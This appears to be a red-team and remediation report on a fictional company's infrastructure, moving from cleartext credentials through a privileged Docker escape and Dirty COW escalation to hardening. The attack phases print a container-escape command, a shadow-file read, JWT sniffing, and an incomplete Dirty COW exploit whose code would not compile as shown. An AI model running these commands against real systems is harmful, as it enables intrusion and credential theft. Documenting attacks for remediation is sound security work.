01

Executive Summary

⚠️

Critical Security Incident

Upon departure of the former System Administrator, the organization's infrastructure was found in a state of advanced decay, with critical vulnerabilities enabling full system takeover in under 4 hours.

CRITICAL
CIA-001

Cleartext Credentials

Passwords stored in plaintext in .creds.txt file

CVSS: 9.8
CRITICAL
CIA-002

Privileged Container

Docker running with --privileged and host socket

CVSS: 9.8
CRITICAL
CIA-003

Dirty COW Kernel Vuln

CVE-2016-5195 enabling root privilege escalation

CVSS: 9.3
HIGH
CIA-004

Unencrypted Traffic

Internal API communications without TLS

CVSS: 7.5
HIGH
CIA-005

Missing API Logging

No audit trail for API access patterns

CVSS: 7.2
MEDIUM
CIA-006

Outdated Dependencies

Multiple packages with known CVEs

CVSS: 5.3

Operation Timeline

timeline title CIA Operation Timeline section Discovery Week 1 : Initial Assessment : Credential Discovery : Attack Surface Mapping section Exploitation Week 2 : Container Escape : Privilege Escalation : Lateral Movement section Remediation Week 3-4 : Architecture Redesign : Hardening Implementation : DevSecOps Pipeline section Validation Week 5 : Penetration Retest : Compliance Audit : Final Report
02

Assessment Scope & Methodology

Engagement Scope

Asset Category Systems Included IP Range
Web Infrastructure BabaExpress Web Application 10.0.1.0/24
API Services REST API Backend 10.0.2.0/24
Container Platform Docker + Portainer 10.0.1.10
Database PostgreSQL Server 10.0.3.0/24
CI/CD GitLab Server 10.0.4.0/24

Tools Utilized

Recon
nmap / masscan
Port scanning & service discovery
Vuln Scan
Nessus / OpenVAS
Automated vulnerability detection
Exploit
Metasploit / Custom
Exploit development & execution
Post-Exploit
LinPEAS / pspy
Privilege escalation enumeration
Secrets
truffleHog / gitleaks
Repository secret detection
03

Phase I: Offensive Security Assessment (Red Team)

Attack Chain Visualization

graph TD subgraph Initial["Initial Access"] A[Credential Discovery] -->|.creds.txt| B[Portainer Login] end subgraph Escalation["Privilege Escalation"] B --> C[Container Access] C -->|--privileged flag| D[Docker Socket Mount] D --> E[Host Filesystem Access] E -->|Dirty COW| F[Root Shell] end subgraph Lateral["Lateral Movement"] F --> G[Network Scan] G --> H[API Server Discovery] H -->|JWT Interception| I[Data Exfiltration] end
PHASE 1

Intelligence Gathering & Credential Discovery

Initial Network Scan

# Comprehensive network discovery
$ nmap -sS -sV -sC -O -p- --min-rate=1000 10.0.0.0/16

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1
80/tcp   open  http       nginx 1.18.0
443/tcp  open  ssl/http   nginx 1.18.0
5432/tcp open  postgresql PostgreSQL 13.2
9000/tcp open  http       Portainer 2.11.0  # VULNERABLE!
CRITICAL CIA-001

Cleartext Credentials in Repository

# Discovered credentials file
$ cat /var/www/babaexpress/web/inventory/.creds.txt

# BabaExpress System Credentials
PORTAINER_USER=admin
PORTAINER_PASS=BabaAdmin2024!
DB_PASSWORD=PostgreSQL_Prod_2024
AWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
PHASE 2

Container Escape via Misconfigured Orchestration

CRITICAL CIA-002

Privileged Container with Docker Socket Mount

# Dangerous container configuration discovered
{
  "Name": "/babaexpress-worker",
  "HostConfig": {
    "Privileged": true,
    "Binds": ["/var/run/docker.sock:/var/run/docker.sock:rw"]
  }
}

Container Escape Execution

# Create malicious container with full host access
$ docker -H unix:///var/run/docker.sock run -it \
    --privileged --pid=host --net=host \
    -v /:/mnt alpine:latest chroot /mnt /bin/bash

# Now operating as root on the host system
root@host:/# id
uid=0(root) gid=0(root) groups=0(root)

root@host:/# cat /etc/shadow | head -3
root:$6$rounds=656000$xxxxx:19000:0:99999:7:::
daemon:*:18858:0:99999:7:::
PHASE 3

Privilege Escalation: Dirty COW (CVE-2016-5195)

CVE-2016-5195 CVSS 7.8

A race condition in the Linux kernel's memory subsystem allows local privilege escalation by exploiting the copy-on-write (COW) mechanism.

graph LR A[Private Memory Mapping] -->|mmap| B[COW Page] B -->|madvise DONTNEED| C[Race Condition] C -->|/proc/self/mem write| D[Bypass COW] D --> E[Write to Read-Only Memory] E --> F[Root Privileges]

Exploit Code (Educational)

// dirtycow_passwd.c - Privilege Escalation Exploit
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>

void *madvise_thread(void *arg);
void *write_thread(void *arg);

int main(int argc, char *argv[]) {
    // Open /etc/passwd read-only
    int fd = open("/etc/passwd", O_RDONLY);
    
    // Memory map the file
    char *mapped = mmap(NULL, st.st_size, PROT_READ, 
                        MAP_PRIVATE, fd, 0);
    
    // Payload: add root user
    char *payload = "hacker:x:0:0::/root:/bin/bash\n";
    
    // Create racing threads
    pthread_t thread1, thread2;
    pthread_create(&thread1, NULL, madvise_thread, &ctx);
    pthread_create(&thread2, NULL, write_thread, &ctx);
    
    // Wait for race condition
    sleep(10);
    
    printf("[*] Exploit complete. Try: su hacker\n");
    return 0;
}

Exploitation Result

$ gcc -pthread dirtycow_passwd.c -o exploit
$ ./exploit
[*] Racing threads started...
[*] Exploit complete. Try: su hacker

$ su hacker
root@babaexpress-web:~# id
uid=0(root) gid=0(root) groups=0(root)
PHASE 4

Lateral Movement & Data Exfiltration

Internal Traffic Interception

# Capture internal API traffic
root@web:~# tcpdump -i eth0 -A 'port 3000' | grep Authorization

# Captured JWT tokens in plaintext!
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Decoded JWT reveals admin access
{
  "userId": 1,
  "role": "admin",
  "iat": 1705312000
}
04

Phase II: Defensive Remediation (Blue Team)

Three-Tier Architecture Redesign

graph TB subgraph DMZ["DMZ - Tier 1: Presentation"] LB[Load Balancer] WEB1[Web Server 1] WEB2[Web Server 2] end subgraph Internal["Internal - Tier 2: Application"] API1[API Server 1] API2[API Server 2] CACHE[Redis Cache] end subgraph Restricted["Restricted - Tier 3: Data"] DB1[(Primary DB)] DB2[(Replica DB)] end subgraph Security["Security Controls"] FW1[Firewall L3/L4] FW2[Firewall L7] IDS[IDS/IPS] end LB --> WEB1 & WEB2 WEB1 & WEB2 --> FW2 --> API1 & API2 API1 & API2 --> IDS --> DB1 DB1 <--> DB2

Network Segmentation

Firewall Rules (iptables)

#!/bin/bash
# Web Tier Firewall Configuration

# Set default policies - DENY ALL
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow HTTPS from Load Balancer only
iptables -A INPUT -p tcp --dport 443 -s 10.0.0.10/32 -j ACCEPT

# Allow SSH from bastion only
iptables -A INPUT -p tcp --dport 22 -s 10.0.10.5/32 -j ACCEPT

# Allow outbound to API tier only
iptables -A OUTPUT -p tcp --dport 3000 -d 10.0.2.0/24 -j ACCEPT

# Log dropped packets
iptables -A INPUT -j LOG --log-prefix "IPT-DROP: "

Container Hardening

Secure Docker Compose Configuration

# docker-compose.secure.yml
version: '3.8'

services:
  web:
    image: babaexpress/web:${VERSION}
    
    # Security: Run as non-root
    user: "1001:1001"
    
    # Security: Drop all capabilities
    cap_drop:
      - ALL
    
    # Security: Read-only root filesystem
    read_only: true
    
    # Security: Prevent privilege escalation
    security_opt:
      - no-new-privileges:true
    
    # Writable directories (tmpfs)
    tmpfs:
      - /tmp:noexec,nosuid,size=100m
    
    # Resource limits
    deploy:
      resources:
        limits:
          cpus: '0.5'
          memory: 512M

SSH Hardening

SSH Configuration

# /etc/ssh/sshd_config.d/99-hardening.conf

# Disable root login
PermitRootLogin no

# Disable password authentication
PasswordAuthentication no

# Allow only specific users from bastion
AllowUsers deploy@10.0.10.0/24

# Strong ciphers only
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com

# Maximum auth attempts
MaxAuthTries 3

# Session timeout
ClientAliveInterval 300
ClientAliveCountMax 2

Kernel Hardening

sysctl Security Configuration

# /etc/sysctl.d/99-security.conf

# Disable IP forwarding
net.ipv4.ip_forward = 0

# Enable SYN flood protection
net.ipv4.tcp_syncookies = 1

# Disable ICMP redirects
net.ipv4.conf.all.accept_redirects = 0

# Enable ASLR
kernel.randomize_va_space = 2

# Restrict ptrace
kernel.yama.ptrace_scope = 2

# Restrict kernel pointer exposure
kernel.kptr_restrict = 2
05

DevSecOps Implementation

Secure CI/CD Pipeline

flowchart LR subgraph Dev["Development"] COMMIT[Git Commit] --> PREHOOK[Pre-commit Hooks] end subgraph Build["Build Stage"] PREHOOK --> SAST[SAST Scan] SAST --> BUILD[Docker Build] BUILD --> SCAN[Container Scan] end subgraph Test["Test Stage"] SCAN --> DAST[DAST Scan] DAST --> SECRETS[Secret Scan] end subgraph Deploy["Deploy Stage"] SECRETS --> SIGN[Image Signing] SIGN --> REGISTRY[Artifactory] REGISTRY --> PROD[Production] end

GitLab CI Security Pipeline

# .gitlab-ci.yml
stages:
  - pre-commit
  - security
  - deploy

secret-detection:
  stage: pre-commit
  image: trufflesecurity/trufflehog:latest
  script:
    - trufflehog git file://. --only-verified --fail

container-scan:
  stage: security
  image: aquasec/trivy:latest
  script:
    - trivy image --exit-code 1 --severity HIGH,CRITICAL $IMAGE

sast:
  stage: security
  image: semgrep/semgrep:latest
  script:
    - semgrep --config=auto --error .

sign-image:
  stage: deploy
  image: bitnami/cosign:latest
  script:
    - cosign sign --key cosign.key $IMAGE

Secret Management with HashiCorp Vault

# Initialize Vault secrets
vault secrets enable -path=babaexpress kv-v2

# Store secrets securely
vault kv put babaexpress/database \
    username="db_app_user" \
    password="$(openssl rand -base64 32)"

# Create application policy
vault policy write babaexpress-app - <<EOF
path "babaexpress/data/database" {
  capabilities = ["read"]
}
EOF
06

Security Posture Evaluation

Security Score Improvement

Before vs. After Comparison

Security Domain Pre-Intervention Post-Remediation Improvement
User Access Control Root by default Unprivileged 'web' user +95%
Authentication Password in plaintext SSH keys + MFA +90%
Network Segmentation Flat network Three-tier isolation +100%
Container Security Privileged mode Rootless + readonly +95%
API Logging None Full JSON to ELK +100%
Host Security Vulnerable kernel Patched + hardened +98%
Data Encryption Unencrypted mTLS + At-rest +100%
Secret Management .creds.txt files HashiCorp Vault +100%

Vulnerability Remediation Status

✅
CIA-001
CLOSED

Vault integration

✅
CIA-002
CLOSED

Security context applied

✅
CIA-003
CLOSED

Kernel 5.15+ deployed

✅
CIA-004
CLOSED

mTLS implemented

✅
CIA-005
CLOSED

ELK Stack deployed

✅
CIA-006
CLOSED

Automated updates

07

Compliance & Audit Readiness

Framework Mapping

Requirement NIST 800-53 ISO 27001 SOC 2 Implementation
Access Control AC-2, AC-3 A.9.2 CC6.1 RBAC + MFA
Audit Logging AU-2, AU-3 A.12.4 CC7.2 ELK SIEM
Data Protection SC-8, SC-28 A.10.1 CC6.7 TLS + Encryption
Incident Response IR-4, IR-6 A.16.1 CC7.3 Playbooks + Alerting
Vulnerability Mgmt RA-5, SI-2 A.12.6 CC7.1 Automated Scanning
08

Strategic Recommendations

P1 Immediate

Credential Rotation

Rotate all compromised credentials across services

✅ Complete
P1 Immediate

Kernel Patching

Update all systems to latest kernel version

✅ Complete
P2 30-90 Days

Zero Trust Architecture

Implement full Zero Trust model

🔄 In Progress
P2 30-90 Days

Web Application Firewall

Deploy WAF for OWASP Top 10 protection

🔄 In Progress
P3 6+ Months

SOAR Platform

Automated incident response orchestration

📋 Planned
P3 Ongoing

Red Team Exercises

Quarterly penetration testing

📋 Planned
09

Report Certification

🛡️

Report Certified By

Senior Security Engineer

Certified Ethical Hacker (CEH)

Offensive Security Certified Professional (OSCP)

TOP SECRET CONFIDENTIAL NOFORN / ORCON

Document Control

Version 3.0.0
Date January 14, 2026
Classification TOP SECRET / CONFIDENTIAL
Handling Authorized Personnel Only